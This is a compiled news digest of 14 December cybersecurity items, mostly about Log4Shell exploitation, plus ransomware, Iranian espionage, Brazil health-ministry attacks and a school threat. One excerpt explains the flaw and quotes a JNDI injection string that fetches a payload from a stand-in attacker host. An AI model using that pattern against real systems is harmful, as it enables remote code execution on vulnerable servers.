GIST	<p>Threat actors, including at least one nation-state actor, are attempting to exploit the newly disclosed Log4j flaw to deploy ransomware, remote access Trojans, and Web shells on vulnerable systems. All the while, organizations continue to download versions of the logging tool containing the vulnerability.</p> <p>This new attack activity represents an escalation of sorts from attackers' initial exploitation attempts, which mainly focused on dropping cryptocurrency mining tools and compromising systems with the goal of adding them to a botnet. Targeted systems include servers, virtual machines, PCs, and IP cameras.</p> <p>CrowdStrike on Tuesday said it has observed a nation-state actor make moves that suggest an interest in exploiting the flaw.</p> <p>"CrowdStrike Intelligence has observed state-sponsored actor NEMESIS KITTEN — based out of Iran — newly deploy into a server a class file that could be triggered by Log4j," says Adam Meyers, senior vice president of intelligence at CrowdStrike. "The timing, intent, and capability are consistent with what would be the adversary attempting to exploit Log4j," he adds. Meyers describes NEMESIS KITTEN as an adversary that has previously been engaged in both disruptive and destructive attacks.</p> <p>The latest developments heighten the urgency for organizations to update to the new version of the Log4j logging framework that the Apache Foundation released Dec. 10, or to apply the mitigations it has recommended, security experts said this week.</p> <p>"Patching, applying [indicators of compromise], and updating threat detection and response is critical right now for all organizations," says Daniel O'Neill, director of global managed detection and response (MDR) operations at Bitdefender.</p>

At this point, most attack activity involving the Log4j flaw continues to be opportunistic in nature, which O'Neill says is typical of the first phase for a zero-day vulnerability. But organizations can expect to see this flaw exploited in more targeted attacks down the road, O'Neill adds. "It is inevitable that more advanced attackers will seek to establish a foothold now and then exploit this vulnerability at a later stage."

Wide Range of Exploit Activity

Bitdefender said its researchers have [observed attackers](#) attempting to exploit the flaw to distribute a new ransomware family called Khonsari. This attack involves the use of a malicious .NET file that, once executed, lists all the drives on a vulnerable system and encrypts them all entirely except for the C: drive, where it encrypts specific folders, including documents, videos, and downloads.

In addition to the ransomware, Bitdefender observed attackers trying to establish a foothold on enterprise networks and deploy a known remote access Trojan called Orcus on vulnerable systems.

"We are also seeing attempts at reverse bash shells," O'Neill says. "This technique is used by attackers to gain a foothold in systems for later exploitation. Deploying a reverse shell on these vulnerable servers is relatively simple to do and most likely be followed with a full-scale attack in the future," he warns.

In addition, several botnets — including one called Muhstik — are actively targeting vulnerable servers, both to deploy backdoors and expand the botnet network, according to Bitdefender. "Monitoring botnet activity is often a good prediction of how dangerous a new [remote code execution] really is and potential scale of attacks," O'Neill says.

The remotely executable Log4j flaw — or Log4Shell, as it's now being called — has sparked [widespread alarm](#) because it exists in a near-ubiquitously used logging framework in Java applications. Security experts consider the flaw especially troubling because it is relatively easy to exploit and gives attackers a way to gain complete control of any system running a vulnerable application.

Massive Volume of Downloads

New data analysis by Sonatype shows the logging tool was downloaded some 28.6 million times in the past four months alone from [Maven Central](#), a repository for Java components. In November 2021, Log4j version 2.x ranked in the top 0.002% in popularity by downloads out of a total population of some 7.1 million artifacts in the repository. Some 7,000 open source projects are affected by the vulnerability.

"It's such a common piece of code that it's even a building block in the Ingenuity helicopter aboard the Mars rover," Sonatype said.

Since the Apache Foundation disclosed the flaw last week, there have been at least 633,000 downloads of fixed versions of Log4j, says Sonatype CTO Brian Fox. The number is growing steadily, he says. Even so, 65% of current downloads of Log4j-core involve the earlier, buggy versions of the logging tool.

"We are still seeing massive downloads of known vulnerable versions," which is not all that unusual, Fox says. "Even with all the attention being given to this issue, so many organizations lack the proper visibility into their full portfolio's usage."

While security teams are scrambling to chase down all the usage of Log4j in their environments, developers, and the software builds they are working on, often continue moving forward. "[That] is the usage that we see when watching total consumption worldwide," Fox says.

For attackers, the vulnerability has presented a near-unprecedented opportunity to try to attack and compromise billions of devices worldwide. Akamai, one of several vendors tracking attack activity, said on Tuesday it has observed multiple variants attempting to exploit the vulnerability at a sustained attack volume of 250,000 exploit requests an hour. More than 50% of the attacks so far have been from known threat actors, and the speed at which new exploit variants are evolving is unprecedented, Akamai said.

	<p>Internet of Things security vendor Armis, meanwhile, found 42% of the attack activity is aimed at servers, and more than a quarter of it (27%) targets virtual machines. Other relatively heavily targeted devices include PCs (7%) and imaging IP cameras (12%), which is somewhat unusual, according to Armis.</p> <p>Research from Armis shows that — so far, at least — devices in operational technology and manufacturing environments such as programmable logic controllers (PLCs) and human machine interface (HMI) devices for managing systems in these environments, have been relatively less targeted. Barely 2% of the vulnerability exploit attempt activity involved manufacturing PLCs, and 1% affected HMIs.</p> <p>But industrial control systems security vendor Dragos said the vulnerability has left organizations in many industries — including electric power, manufacturing, food and beverage, and transportation — exposed to remote attacks. That's because Log4j is present in many open source repositories that are used in industrial applications. As examples, Dragos pointed to Object Linking and Embedding for Process Control (OPC) Foundation's Unified Architecture (UA) Java Legacy. Additionally, adversaries can exploit the Log4j vulnerability in proprietary supervisory control and data acquisition (SCADA) and energy management systems (EMS) that make use of Java, Dragos warned.</p> <p>"The Log4j vulnerability has the similar exploit pattern of other zero-days, which is about five to seven days before widespread exploitation by criminal groups," says Sergio Caltagirone, vice president of threat intelligence at Dragos. "Of course, Java hasn't been a popular programming language or platform to cybercriminals for quite a while and therefore they will have a slight learning curve." However, don't expect that fact to deter attackers for too long, he adds, given the number of vulnerable victims.</p>
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HEADLINE	12/14 Ransomware hits propane gas distributor
SOURCE	https://www.darkreading.com/attacks-breaches/propane-distributor-hit-with-ransomware
GIST	<p>Propane gas distributor Superior Plus Corp. today disclosed that it was a victim of a ransomware attack on Dec. 12.</p> <p>Superior, which supplies more than 780,000 customers in the US and Canada, said it had "temporarily disabled" some of its systems in the wake of the attack and is working to get them back online.</p> <p>"At the present time, Superior has no evidence that the safety or security of any customer or other personal data has been compromised," the company said in a press alert.</p>
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HEADLINE	12/14 'Seedworm' targets Asia, Mideast telcos
SOURCE	https://threatpost.com/seedworm-attackers-telcos-asia-middle-east/176992/?web_view=true
GIST	<p>Attackers targeting telcos across the Middle East and Asia for the past six months are linked to Iranian state-sponsored hackers, according to researchers. The cyberespionage campaigns leverage a potent cocktail of spear phishing, known malware and legitimate network utilities that are leveraged to steal data and potentially disrupt supply-chains.</p> <p>Researchers outlined their findings on Tuesday in a report that says attacks are targeting a number of IT services organizations and a utility company. Although the initial attack vector is as yet unclear, threat actors appear to gain entry to networks using spear-phishing and then steal credentials to move laterally, according to the report published by Symantec Threat Hunter Team, a division of Broadcom.</p> <p>"Organizations in Israel, Jordan, Kuwait, Saudi Arabia, the United Arab Emirates, Pakistan, Thailand and Laos were targeted in the campaign, which appears to have made no use of custom malware and instead relied on a mixture of legitimate tools, publicly available malware, and living-off-the-land tactics," researchers wrote in the report.</p>

Though the identity of attackers also is unconfirmed, they potentially could be linked to the Iranian group Seedworm, aka MuddyWater or TEMP.Zagros, researchers said. This group in the past has engaged in [widespread phishing campaigns](#) against organizations in the Asia and the Middle East in a mission [to steal credentials](#) and gain persistence in the target's networks.

Specifically, researchers identified two IP addresses used in the campaign that were previously linked to Seedworm activity, as well as some overlap in tools—in particular SharpChisel and Password Dumper, they said.

While there already has been threat activity from Iran against telcos in the Middle East and Asia—the Iranian [Chafer APT](#), for example targeted a [major Middle East telco](#) in 2018—a Symantec spokesperson called the activity detailed in the report “a step up” in its focus and a potential harbinger of greater attacks to come.

Breaching Telcos

A typical attack in the latest campaign began with adversaries breaching a targeted network and then attempting to steal credentials to move laterally so that webshells can be deployed onto Exchange Servers, researchers said.

Researchers broke down a specific attack against a telecom company in the Middle East that began in August. In that instance, the first evidence of compromise was the creation of a service to launch an unknown Windows Script File (WSF), researchers said.

Attackers then used scripts to issue various domain, user discovery, and remote service discovery commands, and eventually used PowerShell to download and execute files and scripts. Attackers also deployed a remote access tool that appeared to query Exchange Servers of other organizations, researchers said.

“One feature of this attack against a telecoms organization is that the attackers may have attempted to pivot to other targets by connecting to the Exchange Web Services (EWS) of other organizations, another telecoms operator and an electronic equipment company in the same region,” they wrote.

Supply-Chain Disruption?

Indeed, attackers demonstrated interest in using some compromised organizations as stepping stones or solely to target organizations other than the initial one to mount a supply-chain attack, researchers observed.

In one attack against a utility company in Laos that researchers called an “outlier,” the threat group appeared to exploit a public-facing service to gain initial entry, as the first compromised machine was an IIS web server, according to the report.

Attackers then used PowerShell to deliver malicious tools and scripts to the company's network and ultimately to connect to a webmail server of an organization in Thailand as well as IT-related servers of another Thai company.

Despite this example, a mystery that remains about the campaign is exactly how attackers are gaining initial entry into the majority of targeted networks, with the only evidence of this discovered at one compromised organization, researchers said.

“A suspected ScreenConnect setup MSI appeared to have been delivered in a zipped file named ‘Special discount program.zip,’ suggesting that it arrived in a spear-phishing email,” they wrote.

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HEADLINE	12/14 Exploiting flaw: inject ransomware, trojan
SOURCE	https://thehackernews.com/2021/12/hackers-exploit-log4j-vulnerability-to.html?&web_view=true

GIST

Romanian cybersecurity technology company Bitdefender on Monday revealed that attempts are being made to target Windows machines with a novel ransomware family called [Khonsari](#) as well as a remote access Trojan named [Orcus](#) by exploiting the recently disclosed critical [Log4j vulnerability](#).

The attack leverages the remote code execution (RCE) flaw to download an additional payload, a .NET binary, from a remote server that encrypts all the files with the extension ".khonsari" and displays a ransom note that urges the victims to make a Bitcoin payment in exchange for recovering access to the files.

Tracked as [CVE-2021-44228](#), the RCE vulnerability is also known by the monikers "Log4Shell" or "Logjam" and impacts versions 2.0-beta9 to 2.14.1 of the software library. In simple terms, the bug could force an affected system to download malicious software, giving the attackers a digital beachhead on servers located within corporate networks.

Log4j is an open-source Java library maintained by the nonprofit Apache Software Foundation. Amassing [about 475,000 downloads](#) from its GitHub project and [adopted widely](#) for application event logging, the utility is also a part of other frameworks, such as Elasticsearch, Kafka and Flink, that are used in many popular websites and services.

The disclosure comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) sounded an alarm [warning](#) of active, widespread exploitation of the flaw that, if left unaddressed, could grant unfettered access and unleash a new round of cyber attacks, as fallout from the bug has left companies rushing to find and patch vulnerable machines.

"An adversary can exploit this vulnerability by submitting a specially crafted request to a vulnerable system that causes that system to execute arbitrary code," the agency [said](#) in guidance issued Monday. "The request allows the adversary to take full control over the system. The adversary can then steal information, launch ransomware, or conduct other malicious activity."

Furthermore, CISA has also [added](#) the Log4j vulnerability to its [Known Exploited Vulnerabilities Catalog](#), giving federal agencies a deadline of December 24 to incorporate patches for the flaw. Similar advisories have been previously issued by government agencies in [Austria](#), [Canada](#), [New Zealand](#), and [the U.K.](#)

So far, [active exploitation attempts](#) recorded in the wild have involved the abuse of the flaw to rope the devices into a botnet, and drop additional payloads such as Cobalt Strike and cryptocurrency miners. Cybersecurity firm Sophos said it also [observed](#) attempts to exfiltrate Amazon Web Services (AWS) keys and other private data from compromised systems.

In a sign that the threat is rapidly evolving, Check Point researchers [cautioned](#) of 60 new variations of the original Log4j exploit being introduced in less than 24 hours, adding it blocked more than 1,272,000 intrusion attempts, with 46% of the attacks staged by known malicious groups. The Israeli security company dubbed Log4Shell a "[true cyber pandemic](#)."

A vast majority of the exploitation attempts against Log4Shell have originated in Russia (4,275), based on [telemetry data](#) from Kaspersky, followed by Brazil (2,493), the U.S. (1,746), Germany (1,336), Mexico (1,177), Italy (1,094), France (1,008), and Iran (976). In comparison, only 351 attempts were mounted from China.

The mutating nature of the exploit notwithstanding, the prevalence of the tool across a multitude of sectors has also put industrial control systems and operational technology environments that power critical infrastructure on high alert.

"Log4j is used heavily in external/internet-facing and internal applications which manage and control industrial processes leaving many industrial operations like electric power, water, food and beverage, manufacturing, and others exposed to potential remote exploitation and access," [said](#) Sergio Caltagirone,

	<p>vice president of threat intelligence at Dragos. "It's important to prioritize external and internet-facing applications over internal applications due to their internet exposure, although both are vulnerable."</p> <p>The development once again highlights how major security vulnerabilities identified in open-source software could spark a serious threat to organizations that include such off-the-shelf dependencies in their IT systems. The broad reach aside, Log4Shell is all the more concerning for its relative ease of exploitation, laying the foundation for future ransomware attacks.</p> <p>"To be clear, this vulnerability poses a severe risk," CISA Director Jen Easterly said. "This vulnerability, which is being widely exploited by a growing set of threat actors, presents an urgent challenge to network defenders given its broad use. Vendors should also be communicating with their customers to ensure end users know that their product contains this vulnerability and should prioritize software updates."</p>
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HEADLINE	12/14 Second Log4j vulnerability discovered
SOURCE	https://thehackernews.com/2021/12/second-log4j-vulnerability-cve-2021.html?&web_view=true
GIST	<p>The Apache Software Foundation (ASF) has pushed out a new fix for the Log4j logging utility after the previous patch for the recently disclosed Log4Shell exploit was deemed as "incomplete in certain non-default configurations."</p> <p>The second vulnerability — tracked as CVE-2021-45046 — is rated 3.7 out of a maximum of 10 on the CVSS rating system and affects all versions of Log4j from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0, which the project maintainers shipped last week to address a critical remote code execution vulnerability (CVE-2021-44228) that could be abused to infiltrate and take over systems.</p> <p>The incomplete patch for CVE-2021-44228, could be abused to "craft malicious input data using a JNDI Lookup pattern resulting in a denial-of-service (DoS) attack," the ASF said in a new advisory. The latest version of Log4j, 2.16.0 (for users requiring Java 8 or later), all but removes support for message lookups and disables JNDI by default, the component that's at the heart of the vulnerability. Users requiring Java 7 are recommended to upgrade to Log4j release 2.12.2 when it becomes available.</p> <p>"Dealing with CVE-2021-44228 has shown the JNDI has significant security issues," Ralph Goers of the ASF explained. "While we have mitigated what we are aware of it would be safer for users to completely disable it by default, especially since the large majority are unlikely to be using it."</p> <p>JNDI, short for Java Naming and Directory Interface, is a Java API that enables applications coded in the programming language to look up data and resources such as LDAP servers. Log4Shell is resident in the Log4j library, an open-source, Java-based logging framework commonly incorporated into Apache web servers.</p> <p>The issue itself occurs when the JNDI component of the LDAP connector is leveraged to inject a malicious LDAP request — something like <code>"\${jndi:ldap://attacker_controlled_website/payload_to_be_executed}"</code> — that, when logged on a web server running the vulnerable version of the library, enables an adversary to retrieve a payload from a remote domain and execute it locally.</p> <p>The latest update arrives as fallout from the flaw has resulted in a "true cyber pandemic," what with several threat actors seizing on Log4Shell in ways that lay the groundwork for further attacks, including deploying coin miners, remote access trojans, and ransomware on susceptible machines. The opportunistic intrusions are said to have commenced at least since December 1, although the bug became common knowledge on December 9.</p> <p>The security flaw has sparked widespread alarm because it exists in a near-ubiquitously used logging framework in Java applications, presenting bad actors with an unprecedented gateway to penetrate and compromise millions of devices across the world.</p>

Spelling further trouble for organizations, the remotely exploitable flaw also impacts [hundreds](#) of [major enterprise](#) products from a number of companies such as [Akamai](#), [Amazon](#), [Apache](#), [Aperio](#), [Atlassian](#), [Broadcom](#), [Cisco](#), [Cloudera](#), [ConnectWise](#), [Debian](#), [Docker](#), [Fortinet](#), [Google](#), [IBM](#), [Intel](#), [Juniper Networks](#), [Microsoft](#), [Okta](#), [Oracle](#), [Red Hat](#), [SolarWinds](#), [SonicWall](#), [Splunk](#), [Ubuntu](#), [VMware](#), [Zscaler](#), and [Zoho](#), posing a significant software supply chain risk.

"Unlike other major cyberattacks that involve one or a limited number of software, Log4j is basically embedded in every Java based product or web service. It is very difficult to manually remediate it," Israeli security company Check Point [said](#). "This vulnerability, because of the complexity in patching it and easiness to exploit, seems that it will stay with us for years to come, unless companies and services take immediate action to prevent the attacks on their products by implementing a protection."

In the days after the bug was disclosed, at least [ten different groups](#) have jumped in on the exploit bandwagon and roughly 44% of corporate networks globally already have been under attack, marking a significant escalation of sorts.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has also added Log4Shell to its [Known Exploited Vulnerabilities Catalog](#), giving federal agencies a deadline of December 24 to incorporate patches for the vulnerability.

Sean Gallagher, a senior threat researcher at Sophos, warned that "adversaries are likely grabbing as much access to whatever they can get right now with the view to monetize and/or capitalize on it later on," adding "there is a lull before the storm in terms of more nefarious activity from the Log4Shell vulnerability."

"The most immediate priority for defenders is to reduce exposure by patching and mitigating all corners of their infrastructure and investigate exposed and potentially compromised systems. This vulnerability can be everywhere," Gallagher added.

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HEADLINE	12/14 Software flaw concerns: 'cyber pandemic'
SOURCE	https://www.washingtontimes.com/news/2021/dec/14/software-flaw-prompts-concerns-cyber-pandemic/
GIST	<p>A software security vulnerability in widely-used computer networks is being compared to a "cyber pandemic" by security analysts and the government.</p> <p>Known as a "zero day vulnerability," the security flaw called Log4Shell affects the Apache software used in tens of thousands of computer networks worldwide.</p> <p>The discovery of the vulnerability last week set off an international scramble to patch the hole to prevent hackers from stealing valuable sensitive information.</p> <p>"To be clear, this vulnerability poses a severe risk," said Jen Easterly, director of the Homeland Security Department's Cybersecurity and Infrastructure Security Agency (CISA).</p> <p>"We will only minimize potential impacts through collaborative efforts between government and the private sector. We urge all organizations to join us in this essential effort and take action," she said in a statement Saturday.</p> <p>Other cyber security experts are calling Log4Shell the most serious software vulnerability in history.</p> <p>The security firm Check Point Research called the vulnerability "a true cyber pandemic." Hackers exploiting the flaw conducted over 800,000 network penetrations by Dec. 11 – two days after the software problem was disclosed, the firm said.</p>

The affected Apache software is very broadly used in a variety of consumer and enterprise services, websites and applications along with operation technology products. The software is used to monitor security and performance information and the flaw permits hackers to take control of affected systems, to steal information or plant other malicious software.

CISA has not disclosed the actors exploiting the vulnerability. Ms. Easterly, the CISA director, stated only that the flaw “is being widely exploited by a growing set of threat actors.”

The discovery is initially suspected to have involved Chinese hackers.

However, the security firm McAfee stated that the flaw was first discovered Nov. 24th by Chen Zhaojun of China’s Alibaba Cloud Security Team.

Other security experts who suspect China is behind the attacks say Beijing may have preemptively disclosed the flaw in order to protect other zero-day vulnerabilities or to divert suspicions they were exploiting the flaw. China is known to operate formidable military cyber operations, including the use of large numbers of researchers who study software for zero-day flaws.

The first attacks against the hole began Dec. 1 and Dec. 2, according to security firms Cloudflare and Cisco Talos.

Apache has released a software patch for Log4Shell that is said to mitigate the flaw. However, until all versions of the software are patched, systems using the software will continue to be vulnerable to cyber attacks.

“Given the severity of the vulnerability and the likelihood of an increase in exploitation by sophisticated cyber threat actors, CISA urges vendors and users to” put patches in place, the agency said in a statement.

A spokesman for Amazon Web Services described the vulnerability as “severe.”

The cyber news outlet The Record reported that most of the cyber attacks from Log4Shell involve professional crypto-mining and denial-of-service botnets such as Mirai, Muhstik and Kinsing. These hackers are normally among the first to exploit software bugs once discovered.

The report said state-sponsored hackers and cyber espionage groups have not been observed yet. However, Microsoft stated in a recent blog post that its cyber sleuths have begun seeing tactics used by state-run hackers attempting to plant back doors in targeted software.

The last time a similar widespread software flaw was discovered was 2014 involving a vulnerability called Heartbleed that affected OpenSSL security software.

Security analysts said that incident appears not to have produced greater security awareness to protect against hackers.

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HEADLINE	12/14 Snohomish HS: social media threat
SOURCE	https://www.q13fox.com/news/additional-security-at-snohomish-high-school-after-social-media-threat-principal-says
GIST	<p>SNOHOMISH, Wash. - More security will be on Snohomish High School’s campus Tuesday after a threat was made on social media.</p> <p>Principal Eric Cahan sent a letter to families Monday night informing them that the school notified authorities, who do not believe the threat is credible.</p> <p>In abundance of caution, the school plans to have an additional officer on campus.</p>

	<p>The details on the threat were not released.</p> <p>"We take all matters of safety very seriously. We appreciate your partnership and understanding," Cahan said.</p> <p>Students are encouraged to report any incidents to the district's SafeSchools tip line or to call 911 in emergencies.</p>
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HEADLINE	12/14 Chinese hackers exploiting software flaw
SOURCE	https://www.dailymail.co.uk/news/article-10307697/Chinese-hackers-exploiting-fully-weaponised-Log4shell-software-vulnerability.html
GIST	<p>Chinese hackers are already exploiting a 'fully weaponised' software vulnerability which is causing mayhem on the web, with experts warning that it is the 'most serious' threat they have seen in decades.</p> <p>The flaw was uncovered earlier this month in a piece of software called Log4j, which helps applications interact with one-another across computer networks.</p> <p>By exploiting the flaw, dubbed Log4Shell, hackers can take control of servers which run the network and repurpose them for their own ends.</p> <p>That could mean stealing data on those servers such as medical records and photos, plundering company databases for people's bank details, or locking up servers and extorting firms in so-called 'ransomware' attacks.</p> <p>And there is little that most ordinary users can do to stop this from happening, or any way to tell if data has been stolen in this way.</p> <p>As one cybersecurity source who spoke to MailOnline put it: 'This is where you put your faith in the lap of the computer Gods and hope it gets fixed soon.'</p> <p>Data will only be vulnerable to this hack if it has been stored on a server that uses an API - an 'application programming interface', effectively an invisible cog that helps computer networks turn - which incorporates Log4J, the expert added.</p> <p>It means, for example, that photos which have never been uploaded to the internet should be safe - but many phones will automatically back up images online without users being aware of it.</p> <p>Most companies will also have additional security measures in place such as encryption software which would likely protect sensitive data, but users will have little or no way of knowing if this is the case and will be unable to take extra measures to protect the data even if they find out it is vulnerable.</p> <p>And because Log4J is open source - meaning it can be freely accessed and used by network engineers - many companies may have no idea their systems have been built using it until it is too late.</p> <p>Millions of firms are thought to be in danger. It security first Check Point said 37 per cent of the UK's corporate networks have already been the target of attempted exploitation of the vulnerability, with hackers scanning the internet for possible targets.</p> <p>Some of the world's largest tech companies, including Microsoft, Cisco, IBM and Google, as well as government agencies such as Cybersecurity and Infrastructure Security Agency (CISA) in the US, have found some of their servers to be vulnerable.</p>

They have since issued guidelines on how to tackle the threat, urging customers that use Log4j to update the software to the latest version, released since Apache - the software firm which created Log4J - became aware of the vulnerability.

US cybersecurity firms Mandiant and Crowdstrike also said they found sophisticated hacking groups leveraging the bug to breach targets. Mandiant described those hackers as 'Chinese government actors' in an email to Reuters news agency.

Tech experts are issuing dire warnings over the vulnerability, saying that the flaw poses one of the most severe cyber-security risks ever seen.

'The Apache Log4j Remote Code Execution Vulnerability is the single biggest, most critical vulnerability of the last decade,' said Amit Yoran, chief executive of network security firm Tenable and founder of the US Computer Emergency Readiness Team.

Juan Andres Guerrero-Saade, principal threat researcher with cybersecurity firm SentinelOne, called it 'one of those nightmare vulnerabilities that there's pretty much no way to prepare for.'

Guerrero-Saade said his firm had already seen Chinese hacking groups moving to take advantage of the vulnerability.

Lotem Finkelstein, Director of Threat Intelligence and Research at Check Point Software, said: This is clearly one of the most serious vulnerabilities on the internet in recent years, and it's spreading like wild fire. At one point, we saw over 100 hacks a minute related to the LogJ4 vulnerability.

'We're seeing what appears to be an evolutionary repression, with new variations of the original exploit being introduced rapidly — over 60 in less than 24 hours. The number of combinations of how to exploit it gives the attacker many alternatives to bypass newly introduced protections,' he said.

'This vulnerability, because of the complexity in patching it and easiness to exploit, will stay with us for years to come, unless companies and services take immediate action to prevent the attacks on their products by implementing a protection.

'Now is the time to act. Given the holidays seasons, when security teams may be slower to implement protective measure, the threat is imminent. This acts like a cyber pandemic — highly contagious, spreads rapidly and has multiple variants, which force more ways to attack.'

The flaw is considered so serious because the affected software is used in a wide range of devices that use Java software. It is so popular and embedded across many companies' programs that security executives expect widespread abuse.

Online services used by millions including Netflix, Amazon, Uber and LinkedIn and cloud-based services such Apple iCloud, Android OS, Google Documents and more are all understood to be under threat from the software bug.

Tech giants such as Amazon Web Services and IBM have already moved to address the flaw in their products. However, potential attackers had more than a week's head start before it was made public.

It was first noticed on sites used by users of the popular video game Minecraft, and was officially reported to Apache on November 24 by Chen Zhaojun - an employee of Chinese e-commerce giant Alibaba.

It is now apparent that initial exploitation was spotted Dec. 2, before a patch rolled out a few days later. The attacks became much more widespread as people playing Minecraft used it to take control of servers and spread the word in gaming chats.

The US government sent a [warning](#) to the private sector about Apache's Log4j vulnerability and the looming risk it poses on Friday, while Germany has activated its national IT crisis centre in response to the 'extremely critical' flaw.

In a statement, CISA said: 'Log4j is very broadly used in a variety of consumer and enterprise services, websites, and applications—as well as in operational technology products—to log security and performance information.

'An unauthenticated remote actor could exploit this vulnerability to take control of an affected system.' CISA director Jen Easterly warned that the flaw was already being widely exploited 'by a growing set of threat actors.'

'The internet's on fire right now,' said Adam Meyers, senior vice president of intelligence at the cybersecurity firm CrowdStrike. 'People are scrambling to patch,' he said, 'and all kinds of people scrambling to exploit it.'

He said Friday morning that in the 12 hours since the bug's existence was disclosed, it had been 'fully weaponized,' meaning malefactors had developed and distributed tools to exploit it.

Much of the software affected by Log4j, which bears names like Hadoop or Solr, may be unfamiliar to the public at large.

But as with the SolarWinds program at the centre of a massive Russian espionage operation last year, the ubiquity of these workhorse programs makes them ideal jumping-off points for digital intruders.

While a partial fix for the vulnerability was released on Friday by Apache, the maker of Log4j, affected companies and cyber defenders will need time to locate the vulnerable software and properly implement patches.

In practice, this flaw allows an outsider to enter active code into the record-keeping process. That code then tells the server hosting the software to execute a command giving the hacker control.

So far no major disruptive cyber incidents have been publicly documented as a result of the vulnerability, but researchers are seeing an alarming uptick in hacking groups trying to take advantage of the bug for espionage.

'We also expect to see this vulnerability in everyone's supply chain,' said Chris Evans, chief information security officer at HackerOne.

Multiple botnets, or groups of computers controlled by criminals, were also exploiting the flaw in a bid to add more captive machines, experts tracking the developments said.

What many experts now fear is that the bug could be used to deploy malware that either destroys data or encrypts it, like what was used against U.S. pipeline operator Colonial Pipeline Co in May which led to shortages of gas in some parts of the US.

Meanwhile, a spokesman for Germany's Interior Ministry said the country's federal IT safety agency is urging users to patch their systems as quickly as possible to fend off possible attacks using a bug in the Log4J tool.

'The threat situation is extremely critical,' the spokesman, Steve Alter, told reporters in Berlin. 'Immediate protective measures are required.'

German authorities have recorded efforts to exploit the bug around the world, including successful attempts, he said, without elaborating. So far no successful attacks against German government entities or networks have been confirmed, though a number have been deemed vulnerable, said Alter.

Germany is in contact with 'numerous national and international partners' on the matter, he said. 'A successful exploit of this weakness would mean that someone could take complete control of the affected system.'

Java remains one the world's most popular programming languages and is used to create functions within an app or system.

It's still used to this day, either for backend services to user development interfaces, in some of the world's most popular applications or online services, including Netflix, Amazon, Google and Android OS, Spotify, LinkedIn and Uber.

With the 'Log4Shell' bug, hackers can take full control of an external server, without authentication, with relative ease.

'I would be hard-pressed to think of a company that's not at risk,' said Joe Sullivan, chief security officer for Cloudflare, whose online infrastructure protects websites from malicious actors.

'Log4Shell' was uncovered in a utility that's ubiquitous in cloud servers and enterprise software used across industry and government.

Until it is resolved, criminals, spies and programming novices alike are granted easy access to internal networks where they can steal valuable data, plant malware, erase crucial information and much more.

Untold millions of servers have it installed, and experts said the fallout would not be known for several days. Amazon, Twitter and Apple's iCloud are understood to be 'vulnerable' to the exploit.

Hackers are also understood to be able to use QR codes, whose use was widely popularised throughout the pandemic for NHS Test and Trace purposes, to run malicious code on servers.

The scare prompted senior intelligence experts to react, including Robert Joyce, director of cybersecurity at the National Security Agency in America.

He explained: 'The Log4j vulnerability is a significant threat for exploitation due to the widespread inclusion in software frameworks, including the NSA's GHIDRA (a free open source reverse engineering tool)'.

The vulnerability, dubbed was rated 10 on a scale of one to 10 the Apache Software Foundation, which oversees development of the software. Anyone with the exploit can obtain full access to an unpatched computer that uses the software.

Experts said the extreme ease with which the vulnerability lets an attacker access a web server - no password required - is what makes it so dangerous.

Marcus Hutchins, an internet security researcher, warned Log4Shell could make millions of apps vulnerable to hacking as its software is often used by developers.

New Zealand's computer emergency response team was among the first to report that the flaw was being 'actively exploited in the wild' just hours after it was publicly reported Thursday and a patch released.

The vulnerability, located in open-source Apache software used to run websites and other web services, was reported to the foundation on Nov. 24 by the Chinese tech giant Alibaba, it said. It took two weeks to develop and release a fix.

But patching systems around the world could be a complicated task.

	<p>While most organizations and cloud providers such as Amazon should be able to update their web servers easily, the same Apache software is also often embedded in third-party programs, which often can only be updated by their owners.</p> <p>The first obvious signs of the flaw's exploitation appeared in Minecraft, an online game hugely popular with kids and owned by Microsoft.</p> <p>Meyers and security expert Marcus Hutchins said Minecraft users were already using it to execute programs on the computers of other users by pasting a short message in a chat box.</p> <p>Microsoft said it had issued an urgent software patch for Minecraft users. 'Customers who apply the fix are protected,' it said.</p> <p>Researchers reported finding evidence the vulnerability could be exploited in servers run by companies such as Apple, Amazon, Twitter and Cloudflare.</p>
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HEADLINE	12/14 Cyberattack on Brazil health ministry again
SOURCE	https://www.zdnet.com/article/brazilian-ministry-of-health-hit-by-second-cyberattack-in-less-than-a-week/
GIST	<p>Brazil's Ministry of Health has suffered a second cyberattack in less than a week, which has compromised various internal systems, including the platform that holds COVID-19 vaccination data.</p> <p>The news emerged after a first major ransomware attack three days earlier, from which the department was still recovering. Confirming the second attack on Monday (13) evening, health minister Marcelo Queiroga said the latest event, which took place in the early hours of that same day, was smaller than the first attack.</p> <p>According to Queiroga, the department is working to recover the systems as soon as possible. However, he said the second attack means ConecteSUS, the platform that issues COVID-19 vaccine certificates, would not be back online today (14) as originally planned.</p> <p>Queiroga noted the attack had been unsuccessful and that no data had been compromised, but this second event "caused turmoil" and "got in the way" of bringing systems back online. The minister did not provide an estimate of when the impacted systems would be reestablished.</p> <p>The ministerial confirmation of the second cyberattack was preceded by a statement released by the Ministry of Health saying that Datasus, the department's IT function, carried out a preventive systems maintenance exercise on Monday, meaning systems would be temporarily unavailable.</p> <p>The second attack meant civil servants had to be sent home on Monday since it was not possible to access the health ministry's core systems, such as the platforms that generate reports relating to the COVID-19 pandemic.</p> <p>Also, last night, the Institutional Security Office (GSI) of the Brazilian government released a statement that confirmed new attacks against cloud-based systems run by government bodies had taken place. However, it did not specify which departments or services had been targeted. It added teams are being instructed to preserve evidence and that best practices around incident management are being followed.</p> <p>In the first cyberattack, which became known on Friday (10), all websites under the Ministry of Health became unavailable. According to a message left by the Lapsus\$ Group, which has claimed responsibility for the attack, some 50TB worth of data has been extracted from the MoH's systems and subsequently deleted. Queiroga later said the department holds a backup for the supposedly accessed data in the cyberattack.</p> <p>According to the Federal Police, which is investigating the case, data on COVID-19 case notifications, as well as the broader national vaccination program, was compromised in the first attack, in addition to ConecteSUS.</p>

	The National Data Protection Authority (ANPD) is also working on the case and has contacted the Institutional Security Office and the Federal Police to collaborate with the investigations. It also notified the Ministry of Health to provide clarifications on the case, as per Brazil's general data protection rules.
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Terror Conditions

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HEADLINE	12/15 Karzai 'invited' Taliban to stop chaos
SOURCE	https://apnews.com/article/afghanistan-police-middle-east-taliban-ashraf-ghani-438230aa716f175cc35d3506d727f8b3
